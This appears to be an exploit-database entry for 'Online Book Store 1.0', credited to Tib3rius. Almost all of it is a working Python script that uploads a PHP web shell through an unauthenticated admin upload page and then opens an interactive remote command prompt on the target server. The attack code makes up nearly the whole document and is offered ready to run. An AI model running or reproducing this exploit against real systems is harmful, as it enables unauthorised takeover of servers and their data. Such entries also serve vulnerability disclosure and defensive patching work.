Online Book Store 1.0 Remote Code Execution

2020.01.09
Credit: Tib3rius
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution # Google Dork: N/A # Date: 2020-01-07 # Exploit Author: Tib3rius # Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/ # Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip # Version: 1.0 # Tested on: Ubuntu 16.04 # CVE: N/A import argparse import random import requests import string import sys parser = argparse.ArgumentParser() parser.add_argument('url', action='store', help='The URL of the target.') args = parser.parse_args() url = args.url.rstrip('/') random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10)) payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>' file = {'image': (random_file + '.php', payload, 'text/php')} print('> Attempting to upload PHP web shell...') r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False) print('> Verifying shell upload...') r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False) if random_file in r.text: print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php') print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami') launch_shell = str(input('> Do you wish to launch a shell here? (y/n): ')) if launch_shell.lower() == 'y': while True: cmd = str(input('RCE $ ')) if cmd == 'exit': sys.exit(0) r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False) print(r.text) else: if r.status_code == 200: print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.') else: print('> Web shell failed to upload! The web server may not have write permissions.')


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